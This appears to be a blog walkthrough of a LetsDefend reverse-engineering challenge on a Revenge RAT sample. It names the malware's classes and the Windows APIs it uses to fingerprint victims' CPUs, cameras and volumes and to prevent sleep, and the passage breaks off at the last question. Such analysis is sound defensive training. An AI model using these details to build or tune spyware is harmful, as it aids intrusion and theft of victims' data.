            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — Revenge RAT Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--revenge-rat-challenge-walkthrough&#34;&gt;LetsDefend — Revenge RAT Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;a-malware-reverse-engineering-challenge-using-detect-it-easy-dnspy-google&#34;&gt;A Malware Reverse Engineering Challenge Using Detect-It-Easy, dnSpy, &amp;amp; Google&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;366&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; width=&#34;700&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://letsdefend.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Welcome to my weekly walkthrough!&lt;/strong&gt; If you&amp;rsquo;ve stumbled across this blog searching for a walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/revenge-rat&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Revenge RAT&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place.&lt;/p&gt;&#xA;&lt;p&gt;In this scenario, we&amp;rsquo;re going headfirst into the world of &lt;em&gt;malware reverse engineering.&lt;/em&gt; An incident response team provided us with a &lt;strong&gt;Remote Access Trojan (RAT)&lt;/strong&gt; malware sample used during an attack on a fictional organization. Our job is figure out what the malware was compiled with, how it&amp;rsquo;s configured, and what it does.&lt;/p&gt;&#xA;&lt;p&gt;To analyze the sample logs, we&amp;rsquo;ll leverage &lt;a class=&#34;link&#34; href=&#34;https://github.com/dnSpy/dnSpy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;dnSpy&lt;/strong&gt;&lt;/a&gt;, &lt;em&gt;a .NET debugger&lt;/em&gt;, and compare our analysis with some external research about the malware and its functions to give us comprehensive view of the attack. I&amp;rsquo;m still a newbie with my own reverse engineering skills, so we&amp;rsquo;ll have fun piecing this together. Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And hey, if you find this walkthrough helpful — whether it levels-up your skills, gets you through a stumbling block, or serves as a handy reference — please &lt;strong&gt;give it a clap&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/revenge-rat&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/log-analysis-with-sysmon&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;An attack on a company employed a Remote Access Trojan (RAT) disguised in seemingly harmless files. The RAT infiltrated the network and operated as fileless malware.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;DFIR analysts have extracted the malware. Now they need you to analyse the sample and uncover its secrets. By dissecting the binary, we can understand its behaviour, assess the damage, and devise a strategy to eradicate the threat, ensuring the organization&amp;rsquo;s security.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-compiler-is-used-for-thissample&#34;&gt;Question 1: What compiler is used for this sample?&#xA;&lt;/h3&gt;&lt;p&gt;All right, let&amp;rsquo;s kick off our investigation! The first thing we&amp;rsquo;ll do is extract the &lt;em&gt;sample.7z&lt;/em&gt; from the ChallengeFile folder and reveal the sample file — &lt;em&gt;f6b2c58f9846adcb295edd3c8a5beaec31fff3bc98f6503d04e95be3f9f072e8&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Next, it&amp;rsquo;s always a good idea to get familiar with what tools are available for use within the &lt;em&gt;Tools&lt;/em&gt; folder. This is especially helpful for me since I&amp;rsquo;m still working to level-up my malware reverse engineering skills.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;357px&#34; data-flex-grow=&#34;148&#34; height=&#34;473&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/8184de4b6e8def9332cb965d31c05563_MD5.png&#34; width=&#34;704&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that we have extracted the sample file and have gotten an overview of our tools, let&amp;rsquo;s start performing some analysis on the file.&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 1&lt;/strong&gt;, we&amp;rsquo;ll first need to understand what type of file the sample is so that we can determine the best tool for analysis. To do this, let&amp;rsquo;s gather some information using &lt;a class=&#34;link&#34; href=&#34;https://github.com/horsicq/Detect-It-Easy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Detect It Easy&lt;/em&gt;&lt;/a&gt; &lt;em&gt;(DIE)&lt;/em&gt; which is a useful utility to identify the file type of a binary. We&amp;rsquo;ll launch this utility from the &lt;em&gt;Tools&lt;/em&gt; folder, then point it to the sample file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;326px&#34; data-flex-grow=&#34;135&#34; height=&#34;531&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/9e01b511bb8ba8a6f816f3e48c276d66_MD5.png&#34; width=&#34;722&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Output from Detect It Easy (DIE)&lt;/p&gt;&#xA;&lt;p&gt;Once analyzed by &lt;em&gt;DIE&lt;/em&gt;, we&amp;rsquo;ll see a few key details that answer &lt;strong&gt;Question&lt;/strong&gt; &lt;strong&gt;1&lt;/strong&gt;. The sample binary is **.NET-**based and compiled with the &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Visual_Basic_%28.NET%29&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Visual Basic (VB.NET)&lt;/strong&gt;&lt;/a&gt; compiler.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2042px&#34; data-flex-grow=&#34;851&#34; height=&#34;141&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/8ab8869fe74304f6ca05affe5d542adb_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/8ab8869fe74304f6ca05affe5d542adb_MD5_hu_8aa1546c9f128fa9.png 800w, https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/8ab8869fe74304f6ca05affe5d542adb_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-mutex-name-checked-by-the-malware-at-the-start-of-execution&#34;&gt;Question 2: What is the mutex name checked by the malware at the start of execution?&#xA;&lt;/h3&gt;&lt;p&gt;All right, now we&amp;rsquo;re getting into the meat of the challenge.&lt;/p&gt;&#xA;&lt;p&gt;In the previous question, we&amp;rsquo;ve determined that the malware is &lt;em&gt;.NET&lt;/em&gt; based, so we should be able to use some of the &lt;em&gt;.NET&lt;/em&gt; decompilers from the &lt;em&gt;Tools&lt;/em&gt; folder. While I&amp;rsquo;ve used &lt;em&gt;JetBrains dotPeek&lt;/em&gt; in the past, I want to expand my horizons and try out a new tool this time.&lt;/p&gt;&#xA;&lt;p&gt;Only one problem, I&amp;rsquo;m not familiar with any of the other available tools. So, let&amp;rsquo;s back up and do some &lt;em&gt;Google&lt;/em&gt; research. But instead of searching for &lt;em&gt;.NET&lt;/em&gt; decompilers, why don&amp;rsquo;t we first see what research is available about the &lt;strong&gt;Revenge RAT?&lt;/strong&gt; By doing this**,** I stumbled across an excellent blog from &lt;a class=&#34;link&#34; href=&#34;https://perception-point.io/blog/revenge-rat-back-from-microsoft-excel-macros/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Perception Point&lt;/strong&gt;&lt;/a&gt; containing some helpful information about the malware.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://perception-point.io/blog/revenge-rat-back-from-microsoft-excel-macros/&#34;  title=&#34;https://perception-point.io/blog/revenge-rat-back-from-microsoft-excel-macros/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Revenge RAT malware is back | Perception Point&lt;/strong&gt;&#xA;_In this blog post, we analyze the attack chain of a recent Revenge RAT malware campaign to better understand the&amp;hellip;_perception-point.io&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://perception-point.io/blog/revenge-rat-back-from-microsoft-excel-macros/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s so helpful in fact, that we&amp;rsquo;ll refer to it throughout the walkthrough to corroborate our findings. But most importantly for this task, it gives us an idea of a tool that we can use to view the sample&amp;rsquo;s code — &lt;a class=&#34;link&#34; href=&#34;https://github.com/dnSpy/dnSpy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;dnSpy&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;we can open the executable in DnSpy and view the code. Surprisingly, this malware&amp;rsquo;s code is readable and not obfuscated.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Sounds like this will fit the bill, so let&amp;rsquo;s jump into the &lt;strong&gt;dnSpy.&lt;/strong&gt; Once the sample is loaded, we can start with the analysis. Inside &lt;em&gt;dnSpy&lt;/em&gt; we&amp;rsquo;ll immediately see something identical to &lt;em&gt;Perception Point&amp;rsquo;s&lt;/em&gt; infographic — the executable name &lt;code&gt;Client.exe&lt;/code&gt; with the &lt;code&gt;Lime&lt;/code&gt; namespace below.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s expand the &lt;code&gt;Program&lt;/code&gt; class node and check out the &lt;code&gt;Main()&lt;/code&gt; method as a starting point. There are references to &lt;strong&gt;mutex&lt;/strong&gt; in a couple of spots. It seems that once the malware creates the &lt;em&gt;mutex,&lt;/em&gt; it pulls the name from the &lt;code&gt;Config&lt;/code&gt; class**.** Let&amp;rsquo;s check this out by clicking on &lt;code&gt;currentMutex&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;346px&#34; data-flex-grow=&#34;144&#34; height=&#34;554&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/c0869065a45a414c359469f2ab3b3328_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This jumps us directly into the &lt;code&gt;Config&lt;/code&gt; class which holds some interesting configuration strings including the name for the &lt;code&gt;currentMutex&lt;/code&gt;&lt;em&gt;.&lt;/em&gt; This should be the string that we need to answer &lt;strong&gt;Question 2&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;400px&#34; data-flex-grow=&#34;167&#34; height=&#34;479&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/ade4565e194decfff1a8bf2ee0359864_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The Config Class&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1907px&#34; data-flex-grow=&#34;794&#34; height=&#34;151&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/ee1ce4abfc9176b20041e7283c2d5078_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/ee1ce4abfc9176b20041e7283c2d5078_MD5_hu_5beded9ccf133c3.png 800w, https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/ee1ce4abfc9176b20041e7283c2d5078_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-function-was-used-to-get-information-about-thecpu&#34;&gt;Question 3: What function was used to get information about the CPU?&#xA;&lt;/h3&gt;&lt;p&gt;For &lt;strong&gt;Question 3,&lt;/strong&gt; instead of stumbling through the code blindly, let&amp;rsquo;s refer back to the &lt;a class=&#34;link&#34; href=&#34;https://perception-point.io/blog/revenge-rat-back-from-microsoft-excel-macros/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Perception Point&lt;/strong&gt;&lt;/a&gt; research to get some direction. Their research states:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;[The first packet sent from the user&amp;rsquo;s computer to the C2 server contains lots of sensitive data related to the user&amp;rsquo;s computer. The data collected using a custom class presents the code named &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;IdGenerator&amp;quot;&#xA;. Below are some of the methods the class uses to retrieve sensitive data:](&lt;a class=&#34;link&#34; href=&#34;https://perception-point.io/blog/revenge-rat-back-from-microsoft-excel-macros/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://perception-point.io/blog/revenge-rat-back-from-microsoft-excel-macros/&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;p&gt;Now that we have some idea of what to look for, let&amp;rsquo;s verify if we see the same result within our sample. Expand all the namespaces to locate the &lt;code&gt;IdGenerator&lt;/code&gt; class beneath &lt;code&gt;Lime.Helper&lt;/code&gt;&lt;strong&gt;&lt;em&gt;.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here we&amp;rsquo;ll find several methods that appear to be collecting identifying data about the victim&amp;rsquo;s device — I&amp;rsquo;ll take a wild guess that &lt;code&gt;GetCPU()&lt;/code&gt;is responsible for gathering information about the device&amp;rsquo;s &lt;em&gt;CPU&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;345px&#34; data-flex-grow=&#34;143&#34; height=&#34;556&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/a17682299a0ad1ea107aac5de8ccbeee_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;After a quick review, we can confirm the answer for &lt;strong&gt;Question 3&lt;/strong&gt;. We&amp;rsquo;ll see that this function collects CPU information from the device&amp;rsquo;s &lt;em&gt;Windows registry.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1870px&#34; data-flex-grow=&#34;779&#34; height=&#34;154&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/c9690666b9e37f8abaa961bef2f45c10_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/c9690666b9e37f8abaa961bef2f45c10_MD5_hu_287717cf0a71ffe7.png 800w, https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/c9690666b9e37f8abaa961bef2f45c10_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-key-was-used-during-the---&#34;&gt;Question 4: What key was used during the &amp;quot; # &amp;quot;&#xA;&lt;/h3&gt;&lt;p&gt;SendInfo&amp;quot;&#xA;function?&lt;/p&gt;&#xA;&lt;p&gt;Now, let&amp;rsquo;s navigate to the &lt;code&gt;SendInfo()&lt;/code&gt;method, also under &lt;code&gt;Lime.Helper&lt;/code&gt; &lt;em&gt;,&lt;/em&gt; and locate the references to the &lt;strong&gt;key&lt;/strong&gt; variable. If we click it, we&amp;rsquo;ll be taken back to the &lt;code&gt;Config&lt;/code&gt; class where we can see the &lt;em&gt;string&lt;/em&gt; we&amp;rsquo;ll need to answer &lt;strong&gt;Question 4&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/097ba3b787ccb2a8ebde9b5fa45ffd36_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;340px&#34; data-flex-grow=&#34;141&#34; height=&#34;564&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/666fc581b3746debaf4eed8f918ce7bb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1972px&#34; data-flex-grow=&#34;821&#34; height=&#34;146&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/7e4fa8808022a9877ccb4621eff70055_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/7e4fa8808022a9877ccb4621eff70055_MD5_hu_7c2cccec6e65ec0a.png 800w, https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/7e4fa8808022a9877ccb4621eff70055_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-api-was-used-by-the-malware-to-prevent-the-system-from-going-tosleep&#34;&gt;Question 5: What API was used by the malware to prevent the system from going to sleep?&#xA;&lt;/h3&gt;&lt;p&gt;From the previous questions, you may have already noticed another conveniently labeled class under &lt;code&gt;Lime.Helper&lt;/code&gt; called &lt;code&gt;PreventSleep&lt;/code&gt;. This sounds like exactly what we are looking for!&lt;/p&gt;&#xA;&lt;p&gt;Once we click into the &lt;code&gt;Run()&lt;/code&gt;method, we can see a call being made to the &lt;code&gt;SetThreadExecutionState&lt;/code&gt;API:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;571&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/8b23aaac5ba031e2685e9dc63f26cf4d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To confirm that this is correct, we&amp;rsquo;ll check the &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-setthreadexecutionstate&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Microsoft Learn&lt;/strong&gt;&lt;/a&gt; page for this function where it states:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Enables an application to inform the system that it is in use, thereby preventing the system from entering sleep or turning off the display while the application is running.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;There we go! Thanks to the convenient labeling and some external research, we&amp;rsquo;ve confirmed that we found the answer to &lt;strong&gt;Question 5&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2042px&#34; data-flex-grow=&#34;851&#34; height=&#34;141&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/39cee711ce22f53b486284a4f6a853f9_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/39cee711ce22f53b486284a4f6a853f9_MD5_hu_69ec68c3f528b41b.png 800w, https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/39cee711ce22f53b486284a4f6a853f9_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-variable-stores-the-volume-name-and-the-function-that-imported-the---&#34;&gt;Question 6: What variable stores the volume name and the function that imported the &amp;quot; # &amp;quot;&#xA;&lt;/h3&gt;&lt;p&gt;GetVolumeInformationA&amp;quot;&#xA;api?&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 6,&lt;/strong&gt; we&amp;rsquo;ll need to search for a specific variable that stores the volume name retrieved by the &lt;code&gt;GetVolumeInformationA&lt;/code&gt; API.&lt;/p&gt;&#xA;&lt;p&gt;For some context, let&amp;rsquo;s turn back to &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getvolumeinformationa&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Microsoft Learn&lt;/strong&gt;&lt;/a&gt;&lt;em&gt;,&lt;/em&gt; where it&amp;rsquo;s documented that this function &amp;ldquo;Retrieves information about the file system and volume associated with the specified root directory_.&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;So, to find this reference in the sample, let&amp;rsquo;s simply leverage &lt;em&gt;dnSpy&lt;/em&gt;&amp;rsquo;s search function and use the keyword &lt;code&gt;GetVolumeInformationA&lt;/code&gt;&lt;em&gt;.&lt;/em&gt; The search leads us to &lt;code&gt;Lime.NativeMethods&lt;/code&gt; &amp;gt; &lt;code&gt;Native&lt;/code&gt; &lt;em&gt;&amp;gt;&lt;/em&gt; &lt;code&gt;GVI&lt;/code&gt;&lt;em&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/bc05df75ebe4889cc11516610f02e45d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;While I&amp;rsquo;m no coding wizard, it appears that within the &lt;code&gt;GVI&lt;/code&gt; method, the &lt;code&gt;GetVolumeInformationA&lt;/code&gt; function is imported from &lt;strong&gt;kernel32.dll&lt;/strong&gt; and called. Then, the volume data retrieved by this function is stored in the &lt;code&gt;IP&lt;/code&gt; variable_._&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1986px&#34; data-flex-grow=&#34;827&#34; height=&#34;145&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/66827cd6ae6b93592d29648c4eb0e80a_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/66827cd6ae6b93592d29648c4eb0e80a_MD5_hu_53e51a28d9fc304c.png 800w, https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/66827cd6ae6b93592d29648c4eb0e80a_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-function-was-used-to-retrieve-information-about-installed-video-capturedrivers&#34;&gt;Question 7: What function was used to retrieve information about installed video capture drivers?&#xA;&lt;/h3&gt;&lt;p&gt;For &lt;strong&gt;Question 7&lt;/strong&gt;, we need to look for a function that collects information about the victim&amp;rsquo;s video capture (aka camera) drivers. For this, let&amp;rsquo;s circle back to the &lt;code&gt;IdGenerator&lt;/code&gt; class under &lt;code&gt;Lime.Helper&lt;/code&gt; where we found the answer to &lt;strong&gt;Question 3.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;571&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/d1db789abd4e417ec9e0b3f55d69a13d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;GetCamera()&lt;/p&gt;&#xA;&lt;p&gt;There we&amp;rsquo;ll find a &lt;code&gt;GetCamera()&lt;/code&gt; method. While this seems like a good match based on the name, let&amp;rsquo;s double-verify this again with &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/api/vfw/nf-vfw-capgetdriverdescriptionw&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Microsoft Learn&lt;/strong&gt;&lt;/a&gt; which states that:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The capGetDriverDescription function retrieves the version description of the capture driver.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1920px&#34; data-flex-grow=&#34;800&#34; height=&#34;150&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/d9b6b04b64fda3ec79989da293832e77_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/d9b6b04b64fda3ec79989da293832e77_MD5_hu_8ec73098a36cc07.png 800w, https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/d9b6b04b64fda3ec79989da293832e77_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-what-is-the-value-of-the-id-after-removing-obfuscation&#34;&gt;Question 8: What is the value of the ID after removing obfuscation?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ve made it to the last question! To answer &lt;strong&gt;Question 